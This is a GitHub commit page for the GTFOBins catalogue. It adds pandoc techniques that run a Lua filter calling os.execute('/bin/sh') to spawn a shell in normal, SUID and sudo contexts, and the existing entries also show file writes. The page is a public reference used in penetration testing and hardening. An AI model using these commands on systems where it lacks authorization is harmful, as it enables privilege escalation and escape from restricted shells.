Skip to content

Commit

Permalink
Add Pandoc shell
Browse files Browse the repository at this point in the history
Co-authored-by: Andrea Cardaci <[email protected]>
  • Loading branch information
scroll-wheel and cyrus-and authored Dec 23, 2023
1 parent e988dbb commit a0be237
Showing 1 changed file with 17 additions and 3 deletions.
20 changes: 17 additions & 3 deletions _gtfobins/pandoc.md
Original file line number Diff line number Diff line change
Expand Up @@ -8,12 +8,26 @@ functions:
- code: |
LFILE=file_to_write
echo DATA | pandoc -t plain -o "$LFILE"
shell:
- description: Pandoc has a builtin [`lua`](/gtfobins/lua/) interpreter for writing filters, other functions might apply.
code: |
TF=$(mktemp)
echo 'os.execute("/bin/sh")' >$TF
pandoc -L $TF /dev/null
suid:
- code: |
LFILE=file_to_write
echo DATA | ./pandoc -t plain -o "$LFILE"
limited-suid:
- description: Pandoc has a builtin [`lua`](/gtfobins/lua/) interpreter for writing filters, other functions might apply.
code: |
TF=$(mktemp)
echo 'os.execute("/bin/sh")' >$TF
./pandoc -L $TF /dev/null
sudo:
- code: |
LFILE=file_to_write
echo DATA | sudo pandoc -t plain -o "$LFILE"
- description: Pandoc has a builtin [`lua`](/gtfobins/lua/) interpreter for writing filters, other functions might apply.
code: |
TF=$(mktemp)
echo 'os.execute("/bin/sh")' >$TF
sudo pandoc -L $TF /dev/null
---

0 comments on commit a0be237

Please sign in to comment.